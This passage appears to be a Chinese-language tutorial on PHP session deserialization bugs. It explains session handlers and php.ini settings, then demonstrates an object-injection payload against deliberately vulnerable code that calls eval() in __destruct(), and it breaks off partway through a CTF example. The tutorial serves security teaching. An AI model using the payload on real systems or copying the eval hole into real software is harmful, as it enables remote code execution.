PHP session反序列化漏洞
PHP session
反序列化漏洞,就是当【序列化存储Session
数据】与【反序列化读取Session
数据】的方式不同导致session
反序列化漏洞的产生
什么是session
官方Session
定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session
对象存储特定用户会话所需的属性及配置信息。主要有以下特点:
session
保存的位置是在服务器端session
通常是要配合cookie
使用
因为HTTP的无状态性,服务端产生了session
来标识当前的用户状态
本质上,session
就是一种可以维持服务器端的数据存储技术。即**session
技术就是一种基于后端有别于数据库的临时存储数据的技术**
PHP session工作流程
以PHP为例,理解session
的原理
- PHP脚本使用 session_start()时开启
session
会话,会自动检测PHPSESSID
- 如果
Cookie
中存在,获取PHPSESSID
- 如果
Cookie
中不存在,创建一个PHPSESSID
,并通过响应头以Cookie
形式保存到浏览器
- 如果
- 初始化超全局变量
$_SESSION
为一个空数组 - PHP通过
PHPSESSID
去指定位置(PHPSESSID
文件存储位置)匹配对应的文件- 存在该文件:读取文件内容(通过反序列化方式),将数据存储到
$_SESSION
中 - 不存在该文件: session_start()创建一个
PHPSESSID
命名文件
- 存在该文件:读取文件内容(通过反序列化方式),将数据存储到
- 程序执行结束,将
$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中
具体原理图:
php.ini session配置
php.ini
里面有较重要的session
配置项
session.save_path="/tmp" --设置session文件的存储位置
session.save_handler=files --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0 --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用
PHP session序列化机制
根据php.ini
中的配置项,我们研究将$_SESSION
中保存的所有数据序列化存储到PHPSESSID
对应的文件中,使用的三种不同的处理格式,即session.serialize_handler
定义的三种引擎:
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
php处理器
首先来看看默认session.serialize_handler = php
时候的序列化结果,代码如下
<?php
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>
为了方便查看,将session
存储目录设置为session.save_path = "/www/php_session"
,PHPSESSID
文件如下
1、文件名
文件名为sess_mpnnbont606f50eb178na451od
,其中mpnnbont606f50eb178na451od
就是后续请求头中Cookie
携带的PHPSESSID
的值 (如上图浏览器中已存储)
2、文件内容
php处理器存储格式
键名 | 竖线 | 经过 serialize() 函数反序列处理的值 |
---|---|---|
$_SESSION[‘name’]的键名:name | | | s:6:“harden”; |
php_binary处理器
使用php_binary处理器,即session.serialize_handler = php_binary
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
# 为了方便ACSII显示,将键名设置为36个字符长度
$_SESSION['namenamenamenamenamenamenamenamename'] = $_GET['name'];
echo $_SESSION['namenamenamenamenamenamenamenamename'];
?>
由于三种方式PHPSESSID
文件名都是一样的,这里只需要查看文件内容
键名的长度对应的 ASCII 字符 | 键名 | 经过 serialize() 函数反序列处理的值. |
---|---|---|
$ | namenamenamenamenamenamenamenamename | s:6:“harden”; |
php_serialize 处理器
使用php_binary处理器,即session.serialize_handler = php_serialize
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>
文件内容即经过 serialize() 函数反序列处理的数组,a:1:{s:4:"name";s:6:"harden";}
session的反序列化漏洞利用
session的反序列化漏洞,就是利用php
处理器和php_serialize
处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因
漏洞成因
首先创建session.php
,使用php_serialize
处理器来存储session数据
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>
test.php
,使用默认php
处理器来存储session数据
<?php
session_start();
class f4ke{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
eval($this->name);
}
}
$str = new f4ke();
?>
接着,我们构建URL进行访问session.php
:
http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
打开PHPSESSID
文件可看到序列化存储的内容
a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
漏洞分析:
在
session.php
程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
通过php_serialize
处理器序列化保存成PHPSESSID
文件;由于浏览器中保存的
PHPSESSID
文件名不变,当我们访问test.php
,session_start();
找到PHPSESSID
文件并使用php
处理器反序列化文件内容,识别格式即
键名 竖线 经过 serialize() 函数反序列处理的值 a:1:{s:7:“session”;s:45:" | O:4:“f4ke”:1:{s:4:“name”;s:10:“phpinfo();”;} php处理器会以|作为分隔符,将
O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
反序列化,就会触发__wakeup()
方法,最后对象销毁执行__destruct()
方法中的eval()
函数,相当于执行如下:$_SESSION['session'] = new f4ke(); $_SESSION['session']->name = 'phpinfo();';
我们访问test.php
,即可直接执行phpinfo()
函数
CTF例题:PHPINFO
题目地址:http://web.jarvisoj.com:32784/index.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m